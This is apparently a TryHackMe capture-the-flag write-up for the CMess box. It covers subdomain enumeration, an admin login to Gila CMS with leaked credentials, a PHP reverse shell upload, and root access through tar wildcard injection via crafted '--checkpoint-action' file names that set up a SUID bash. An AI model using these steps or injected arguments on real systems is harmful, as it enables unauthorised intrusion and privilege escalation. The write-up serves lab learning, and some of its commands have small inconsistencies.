# CMesS — TryHackMe

This is a really great medium-level box that involves enumerating subdomains and discovering sensitive information on `/dev`, including the email and password for the Gila CMS admin user. Utilizing these credentials, one can log in via `/login`. Once inside, you have the ability to upload a `php` reverse shell, granting us a foothold into the system. From this point, we located the user password in a backup file under `/opt`. Through further system enumeration, we elevated our privileges and rooted the box using wildcard injection.  
[Room](https://tryhackme.com/room/cmess)

# Enumeration:

First we're going to do an initial scan with Nmap to start looking for all ports on the target machine.

```bash
sudo nmap -p- --min-rate=5000 -oG CMess 10.10.204.141 --vv
```

Searching the file CMess to look ports that are open

```bash
grep -oP '([\d]+/open)' CMess | awk -F / '{ print $1 }' | tr '\n' ','
```

Upon our scan we encountered two port that are open one 22 ssh port and the other port 80 http port. The command above it's pretty useful if you've a lot of ports open on the target machine.

```bash
└──╼ $nmap -sVC -p "22,80" -T4 10.10.204.141
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-05 17:09 EST
Nmap scan report for 10.10.204.141
Host is up (0.11s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d9b652d3939a3850b4233bfd210c051f (RSA)
|   256 21c36e318b85228a6d72868fae64662b (ECDSA)
|_  256 5bb9757805d7ec43309617ffc6a86ced (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 3 disallowed entries 
|_/src/ /themes/ /lib/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-generator: Gila CMS
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.52 seconds

```

Adding the domain name to the `/etc/hosts` file.

```bash
$echo "10.10.204.141 cmess.thm" | sudo tee -a /etc/hosts
[sudo] password for user: 
10.10.204.141 cmess.thm
```

Navigating to the website we can see it's Gila CMS an open source content management system, We can do a vulnerability scan on this to check if we can get known public vulnerabilities.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1704060036377/d780693c-1b81-4737-a2ae-9175aad82699.png align="center")

I used `searchsploit` tool and also did it on google search.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1704060047201/dbb4f2fc-4f96-44df-90c9-2b4980fa5d8f.png align="center")

Upon we doing so we found several vulnerabilities but they're not gonna work simply because XSS vulnerability can't get us a shell on the machine considering that there's no user interaction and the other like LFI SQLi vulnerabilities require admin authentication which we don't have the credentials for it lasty the RCE didn't work.

Consequently we did is running the `gobuster` to check for directories and files on the target.

```bash
gobuster dir -u http://cmess.thm/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1704060060722/441367e3-4390-4632-87ae-64c6d691b10b.png align="center")

We got tons of webpages, most of them useless except `/login` and `/admin`, but we need credentials in order to log in to the account as an admin or a user.

Next thing we are going to enumerate subdomains.

```bash
wfuzz -c -w top1million.txt -u "http://cmess.thm" -H "Host: FUZZ.cmess.thm" --hl 107
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://cmess.thm/
Total requests: 4989

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                      
=====================================================================

000000019:   200        30 L     104 W      934 Ch      "dev"        
```

Adding again the subdomain to the `/etc/hosts` file.

```bash
echo "10.10.69.214 dev.cmess.thm" | sudo tee -a /etc/hosts
```

We exposed the development log that contains sensitive information. We can try to login to ssh with the password but it didn't work. we used this credentials to login as admin via `/admin` and it works.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1704060091226/9b6d89e6-ef5b-4ae5-8cdb-8f687959d5c1.png align="center")

The credentials that we used:  
`andre@cmess.thm` `KPFTN_f2yxe%`

Now we're in the dashboard however there's a lot going on here we can start test for things.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1704060101270/16a2cb01-33f8-45c6-88f1-c14b53d97281.png align="center")

# Foothold

Go to content then file manager as you observe we've the ability to upload file on the sever. this will give as chance to upload `php` reverse shell and get RCE on the sever.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1704060112791/4b1ff20c-5314-4773-97b5-23b8441a501b.png align="center")

Before we do that we need to make some adjustment on the reverse shell. If your using ParrotOS the file is found on this path `/usr/share/webshells/php/php-reverse-shell.php`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1704060123438/b5c47aa8-f9e8-41ca-8b85-a344d08b236e.png align="center")

Then upload the `php` file, once you uploaded it you can navigate to the assets folder and run the reverse shell by clicking on the file that you've uploaded it.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1704060134410/be0f2e23-69f0-43b1-bd0a-62895267b893.png align="center")

Make sure you have a listener up and running!  
Boom we got a shell on the box, and we can get the user flag.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1704060153005/bed0a8fe-c3b8-4733-9811-6691766873cf.png align="center")

For more interacting with terminal it's better to upgrade the shell or stabilizing it so you can do the basic things that the terminal support like `crl+c` or clear command or maybe navigating with arrow keys.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1704060161111/5344a359-d49e-4544-82d1-2ceb193f9637.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1704060163924/ca2398d1-2533-4f29-8a20-5f83d108e505.png align="center")

This will accomplish two things first it will turns off our own terminal echo (which gives us access to tab autocompletes, the arrow keys, and Ctrl + C to kill processes). It then foregrounds the shell.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1704060173309/234f24a8-597c-424a-b037-4fb7545a91ac.png align="center")

This will give us access to term commands such as `clear`.

# Privilege Escalation:

So far this is one the most challenging privesc that I have encountered it's required a good enumeration to get this one done. It's kind of tricky how we're going to perform it, Before we go a head, first we need to download the linpeas on the target machine.

```bash
ww-data@cmess:/tmp$ wget http://10.11.46.4:8000/linpeas.sh -O linpeas.sh
--2023-12-08 21:53:06--  http://10.11.46.4:8000/linpeas.sh
Connecting to 10.11.46.4:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 847773 (828K) [text/x-sh]
Saving to: 'linpeas.sh'

linpeas.sh          100%[===================>] 827.90K  94.2KB/s    in 6.0s    

2023-12-08 21:53:12 (137 KB/s) - 'linpeas.sh' saved [847773/847773]

www-data@cmess:/tmp$ chmod +x linpeas.sh
www-data@cmess:/tmp$ ./linpeas.sh
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1704060197540/36e00f4e-590e-4dc6-afcc-29ff6b391b45.png align="center")

Running `linpeas` we discovered the password was hidden in `/opt` directory under the file `.password.bak` and then we used it against the andre user. And also, linpeas highlighted a cron job which we'll go after that.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1704060206647/6167929c-e76a-4acf-9bb8-be54206e3b1a.png align="center")

As you can see, the password is 'UQfsdCB7aAP6' and we executed the `awk` command to filter the stored user information in the system file `/etc/passwd`. Upon inspection, we identified a user named Andre, indicating that the recently discovered password may belong to him.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1704060215050/399589a2-9d65-4069-aa49-b4c570787375.png align="center")

Indeed we successfully managed to compromise his account, and the user flag stored in a user.txt file.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1704060222786/24b19895-a964-407b-bb04-e2f03b4b9b6b.png align="center")

Now, if you ran `linpeas` you'll immediately see a cron job highlighted in red that's schedule `tar` command to run every two minutes as root and backing up all files and directories on the `backup` directory to `/tmp` folder.

```bash
andre@cmess:/tmp$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user	command
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/2 *   * * *   root    cd /home/andre/backup && tar -zcf /tmp/andre_backup.tar.gz *

```

There's a command injection on the wildcard so we can inject our script ( that'd be a reverse shell or any malicious file that we have created) as a command to run as root by tar since `tar` run as root user and presumably give as shell that we can interact with, we can leverage this by using the options.

If you check the manual page for `tar` you'll see the following:

`-checkpoint[=N]` Display progress messages every Nth record (default 10).  
`--checkpoint-action=ACTION` Run ACTION on each checkpoint.

This option will allow as to run the malicious file that we created, hence `--checkpoint-action=ACTION` will be used as an option by `tar` command when it'll be running at it's hits the time specified by cron.

```bash
andre@cmess:/tmp$ cd /home/andre/backup
andre@cmess:~/backup$ cat note 
Note to self.
Anything in here will be backed up! 
shdre@cmess:~/backup$ echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash" > shell.sh 
andre@cmess:~/backup$ chmod +x runme.sh 
andre@cmess:~/backup$ touch /home/andre/backup/--checkpoint=1
andre@cmess:~/backup$ touch /home/andre/backup/--checkpoint-action=exec=sh\ shell.sh
Copy
```

Wait about 2 minutes and check the `/tmp` folder and you will eventually get root shell

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1704060280291/12489fa6-aa1f-4738-96b4-098aeb8c51ba.png align="center")